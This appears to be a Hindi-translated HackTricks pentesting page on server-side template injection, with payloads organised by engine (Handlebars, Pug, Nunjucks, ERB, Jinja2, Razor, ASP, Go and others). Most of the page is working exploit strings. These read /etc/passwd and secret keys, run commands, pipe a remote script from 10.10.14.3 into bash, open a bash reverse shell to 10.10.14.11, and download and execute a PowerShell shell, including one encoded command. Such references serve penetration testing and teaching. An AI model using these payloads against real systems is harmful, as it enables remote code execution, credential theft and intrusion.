%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D

अधिक जानकारी

JsRender (NodeJS)

टेम्प्लेट विवरण
आउटपुट का मूल्यांकन और रेंडर करें
HTML एनकोडेड आउटपुट का मूल्यांकन और रेंडर करें
टिप्पणी
and कोड की अनुमति (डिफ़ॉल्ट द्वारा अक्षम)
  • = 49

क्लाइंट साइड

{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}

सर्वर साइड

{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}

अधिक जानकारी

PugJs (NodeJS)

  • #{7*7} = 49
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}

सर्वर साइड रेंडर का उदाहरण

var pugjs = require('pug');
home = pugjs.render(injected_page)

अधिक जानकारी

NUNJUCKS (NodeJS)

  • {{7*7}} = 49
  • {{foo}} = कोई आउटपुट नहीं
  • #{7*7} = #{7*7}
  • {{console.log(1)}} = त्रुटि
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}

अधिक जानकारी

ERB (Ruby)

  • {{7*7}} = {{7*7}}
  • ${7*7} = ${7*7}
  • <%= 7*7 %> = 49
  • <%= foobar %> = त्रुटि
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

अधिक जानकारी

Slim (Ruby)

  • { 7 * 7 }
{ %x|env| }

अधिक जानकारी

Python

पायथन में arbitrary command execution bypassing sandboxes के बारे में जानने के लिए निम्नलिखित पृष्ठ देखें:

{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}

Tornado (Python)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{foobar}} = Error
  • {{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}

{% import os %}
{% endraw %}







{{os.system('whoami')}}
{{os.system('whoami')}}

अधिक जानकारी

Jinja2 (Python)

आधिकारिक वेबसाइट

Jinja2 Python के लिए एक पूर्ण विशेषताओं वाला टेम्पलेट इंजन है। इसमें पूर्ण यूनिकोड समर्थन है, एक वैकल्पिक एकीकृत सैंडबॉक्स्ड निष्पादन वातावरण, व्यापक रूप से प्रयोग किया जाता है और BSD लाइसेंस प्राप्त है।

  • {{7*7}} = Error
  • ${7*7} = ${7*7}
  • {{foobar}} कुछ नहीं
  • {{4*4}}[[5*5]]
  • {{7*'7'}} = 7777777
  • {{config}}
  • {{config.items()}}
  • {{settings.SECRET_KEY}}
  • {{settings}}
  • <div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}






{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777

Jinja2 - टेम्प्लेट प्रारूप

{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}


RCE से स्वतंत्र __builtins__:

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Jinja का दुरुपयोग कैसे करें, इसके बारे में अधिक जानकारी:

{% content-ref url="jinja2-ssti.md" %} jinja2-ssti.md {% endcontent-ref %}

Mako (Python)

<%
import os
x=os.popen('id').read()
%>
${x}

Razor (.Net)

  • @(2+2) <= सफलता
  • @() <= सफलता
  • @("{{code}}") <= सफलता
  • @ <=सफलता
  • @{} <= त्रुटि!
  • @{ <= त्रुटि!
  • @(1+2)
  • @( //C#Code )
  • @System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
  • @System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");

.NET System.Diagnostics.Process.Start विधि का उपयोग सर्वर पर किसी भी प्रक्रिया को शुरू करने और इस प्रकार एक वेबशेल बनाने के लिए किया जा सकता है। आप एक संवेदनशील वेबऐप उदाहरण https://github.com/cnotin/RazorVulnerableApp में पा सकते हैं।

अधिक जानकारी

ASP

  • <%= 7*7 %> = 49
  • <%= "foo" %> = foo
  • <%= foo %> = कुछ नहीं
  • <%= response.write(date()) %> = <तारीख>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>

अधिक जानकारी

Mojolicious (Perl)

यह Perl है पर इसमें Ruby की ERB जैसे टैग्स का उपयोग होता है।

  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
<%= perl code %>
<% perl code %>

SSTI in GO

GO में पुष्टि करने के लिए कि बैकएंड में उपयोग किया गया टेम्प्लेट इंजन Go है, आप इन पेलोड्स का उपयोग कर सकते हैं:

  • {{ . }} = डेटा संरचना जो टेम्प्लेट में इनपुट के रूप में पास की जा रही है
  • यदि पास किया गया डेटा एक ऑब्जेक्ट है जिसमें Password विशेषता है, तो पिछला पेलोड इसे लीक कर देगा, लेकिन आप यह भी कर सकते हैं: {{ .Password }}
  • {{printf "%s" "ssti" }} = प्रतिक्रिया में ssti स्ट्रिंग को आउटपुट करना चाहिए
  • {{html "ssti"}}, {{js "ssti"}} = ये कुछ अन्य पेलोड्स हैं जो "ssti" स्ट्रिंग को "js" या "html" शब्दों के बिना आउटपुट करना चाहिए। आप इंजन में और अधिक कीवर्ड्स के लिए यहाँ देख सकते हैं।

XSS शोषण

यदि सर्वर text/template पैकेज का उपयोग कर रहा है, तो XSS को प्राप्त करना बहुत आसान है केवल अपने पेलोड को इनपुट के रूप में प्रदान करके। हालांकि, यह html/template के साथ नहीं है क्योंकि यह HTML एनकोड्स प्रतिक्रिया करता है: {{"<script>alert(1)</script>"}} --> &lt;script&gt;alert(1)&lt;/script&gt;

हालांकि, Go आपको पूरा टेम्प्लेट DEFINE करने और फिर बाद में इसे कॉल करने की अनुमति देता है। पेलोड कुछ इस तरह होगा:
{{define "T1"}}<script>alert(1)</script>{{end}} {{template "T1"}}

RCE शोषण

html/template मॉड्यूल के लिए दस्तावेज़ यहाँ पाया जा सकता है, और text/template मॉड्यूल के लिए दस्तावेज़ यहाँ पाया जा सकता है, और हाँ, वे बहुत भिन्न होते हैं। उदाहरण के लिए, text/template में, आप किसी भी सार्वजनिक फ़ंक्शन को “call” मान के साथ सीधे कॉल कर सकते हैं, हालांकि, html/template के साथ ऐसा नहीं है।

यदि आप GO के माध्यम से SSTI के जरिए RCE खोजना चाहते हैं, तो आपको पता होना चाहिए कि जैसे आप टेम्प्लेट को दिए गए ऑब्जेक्ट को {{ . }} के साथ एक्सेस कर सकते हैं, आप ऑब्जेक्ट के मेथड्स को भी कॉल कर सकते हैं। तो, कल्पना कीजिए कि पास किए गए ऑब्जेक्ट में System नामक एक मेथड है जो दिए गए कमांड को निष्पादित करता है, आप इसका दुरुपयोग कर सकते हैं: {{ .System "ls" }}
इसलिए, आपको शायद स्रोत कोड की आवश्यकता होगी। इस तरह की कुछ चीज़ के लिए संभावित स्रोत कोड इस तरह दिखेगा:

func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}

अधिक जानकारी

अधिक Exploits

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection पर जाकर और अधिक exploits देखें। आप https://github.com/DiogoMRSilva/websitesVulnerableToSSTI में रोचक tags की जानकारी भी पा सकते हैं।

BlackHat PDF

{% file src="../../.gitbook/assets/en-server-side-template-injection-rce-for-the-modern-web-app-blackhat-15.pdf" %}

संबंधित सहायता

यदि आपको लगता है कि यह उपयोगी हो सकता है, तो पढ़ें:

उपकरण

{% embed url="https://github.com/Hackmanit/TInjA" %}

{% embed url="https://github.com/vladko312/sstimap" %}

{% embed url="https://github.com/epinna/tplmap" %}

{% embed url="https://github.com/Hackmanit/template-injection-table" %}

Brute-Force Detection List

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}

अभ्यास और संदर्भ

RootedCON Spain में सबसे महत्वपूर्ण साइबर सुरक्षा इवेंट है और Europe में एक प्रमुख इवेंट है। तकनीकी ज्ञान को बढ़ावा देने के मिशन के साथ, यह कांग्रेस हर विषय में प्रौद्योगिकी और साइबर सुरक्षा पेशेवरों के लिए एक संगम स्थल है।

{% embed url="https://www.rootedcon.com/" %}

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

  • यदि आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं तो SUBSCRIPTION PLANS देखें!
  • official PEASS & HackTricks swag प्राप्त करें।
  • The PEASS Family की खोज करें, हमारा विशेष NFTs संग्रह।
  • 💬 Discord group या telegram group में शामिल हों या Twitter पर मुझे 🐦 @carlospolopm का पालन करें
  • HackTricks और HackTricks Cloud github repos में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।